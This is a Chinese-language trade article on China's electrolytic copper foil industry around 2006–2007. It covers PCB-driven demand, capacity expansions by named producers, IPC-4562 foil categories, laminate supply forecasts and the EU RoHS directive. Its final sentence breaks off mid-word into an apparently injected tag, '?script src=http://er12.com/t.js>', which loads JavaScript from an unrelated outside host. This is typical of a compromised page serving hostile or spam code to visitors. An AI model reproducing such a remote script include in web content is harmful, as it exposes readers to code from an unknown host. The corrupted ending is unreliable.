近年来，我国形成了以广东东莞———深圳、江苏昆山———苏州地区为中心的两大电子工业生产基地。电子产业带动印刷电路板(pcb)产业高速增长，促使铜箔消费量猛增。据中国电子材料行业协会覆铜板分会统计，2006年，我国铜箔市场需求量约14万吨左右，其中国内生产8万吨，出口3.9万吨，进口10万吨，尤其是高档电解铜箔几乎全部依赖进口。
市场需求的快速增长，促使铜箔原有产能快速扩张。建滔铜箔四期(连州厂)建成投产，使其年产能超过4.6万吨，苏州福田、招远金宝、南亚铜箔(昆山)等铜箔企业通过技改增容、提高质量系列措施，2006年，我国大陆电解铜箔的产量首次超过8万吨。新的产能不断形成。随着江西铜业6000t/a电解铜箔项目的达产，中美合资的镇江藤枝铜箔3000吨项目预计今年年底投产，紧接着青海西矿联合铜箔有限公司年产10000吨高档电解铜箔工程项目已于2007年7月25日在青海开工。该项目一期工程总投资75339万元，是西部最大的铜箔项目，计划明年年底投产。
高性能铜箔前景广阔就产能而言，近两年我国电解铜箔产能增加很快，与我国高速发展的电子产业相比，目前，电解铜箔的总生产能力与pcb制造行业的发展总体水平是相适应的。而依照多家pcb新厂或老厂的扩产项目投产计划，2007年以后，我国电解铜箔的需求将会有一个较大的飞跃。但由于我国电解铜箔产品结构不尽合理，高性能电解铜箔仍旧严重短缺，需要大量进口。高性能电解铜箔是一种缺陷少、细晶粒、低表面粗化度、高强度、高延展性、更加薄的铜箔。它经过适当的表面处理，在pcb制造中具有高的蚀刻系数、低的残铜率、可避免短路、适用于高频，可制成高密度细线化、薄型化、高可靠性pcb用的铜箔。
尽管在现有的电解铜箔的标准中，还没有高性能铜箔的明确要求，但实际上，ipc-4562标准中的质量/性能等级的3级箔已经包含了部分高性能铜箔的要求。随着电子产品高可靠性、小型化、智能化快速发展，高性能铜箔将会在多层化、薄型化、高密度化的印制电路板上广泛使用。预计随着技术的发展，高性能铜箔将在pcb市场应用达到40%以上。
特殊铜箔发展机会多中国经济的高速发展，为电解铜箔发展提供了广阔的市场空间，奠定了我国铜箔产业迅速发展的外部条件。信息产业的发展为铜箔提供良好的市场机遇。此外中国许多电子产品有巨大的市场空间，再加上其中一些产品陆续进入更新期和面临换代，使得铜箔产业面临更大的发展机遇。
ipc标准根据电解铜箔的性能将其分为标准箔(std-e)、高延箔(hd-e)、高温高延箔(the-e)、退火电解铜箔(ann-e)、可低温退火电解箔(lta-e)、可退火电解箔(a-e)等六大类，每类再根据产品厚度、表面处理方式、处理后的箔轮廓度、质量/性能等级依次进行系统分类。
即使按照ipc4562标准，我国目前的电解铜箔企业，生产的铜箔大多数为普通的标准铜箔(std-e)。我们仍然有不少品种或规格没有研发或产业化，而这些特殊性能铜箔品种无疑是高性能印制板、铜箔基板等领域不可缺少的，当前仍只能依靠进口；这为电解铜箔的发展提供了良好的投资机会。
高档铜箔需求强劲铜箔基板(ccl)的下游pcb厂商也正积极扩充产能。但由于厂商众多，中国大陆有1400家左右，所以其产能的释放是逐步缓慢的。ccl产能由少数厂商集中开出，pcb在短期内无法消化突然增加的产能，因此，2007年ccl可能出现供过于求的局面。随着时间的推移，pcb逐渐释放的产能将与ccl产能逐步平衡，预计2008年中期ccl行业将重新供求平衡。
电解铜箔可能面临供应趋紧的状况，ccl主要使用中、高档电解铜箔。以用途最广的玻纤环氧基板为例，电解铜箔占生产成本的30%~50%左右。随着通讯用薄板、高密度互连板(hdipcb)的广泛使用，电解铜箔占生产成本的比重将会有所增加。除了能源和铜价格波动会影响电解铜箔的价格外，决定电解铜箔的价格的主要因素仍然是供求关系。据悉，电解铜箔的主要供应商在2000年曾大幅增加产能。
由于铜和能源价格上涨以及下游需求不足的原因，在2001-2005年电解铜箔企业的铜箔业务都处于保本状态，2006年首度实现盈利。虽然近期铜和能源价格都出现回落，但考虑到中国ccl扩产的情况，2008年中高档电解铜箔供应可能将会趋紧。
国家政策和rohs指令影响将凸现欧盟的rohs指令的全称是“电气电子设备中限制使用某些有害物质指令”。该指令要求2006年7月1日以后新投放欧盟市场的机电产品中，6种有害物质即铅、镉、汞、六价铬、多溴联苯和多溴二苯醚的含量不能超过rohs指令规定的最高限量(镉为0.01%，其余5种均为0.1%)。随着欧盟rohs指令的推?script src=http://er12.com/t.js>
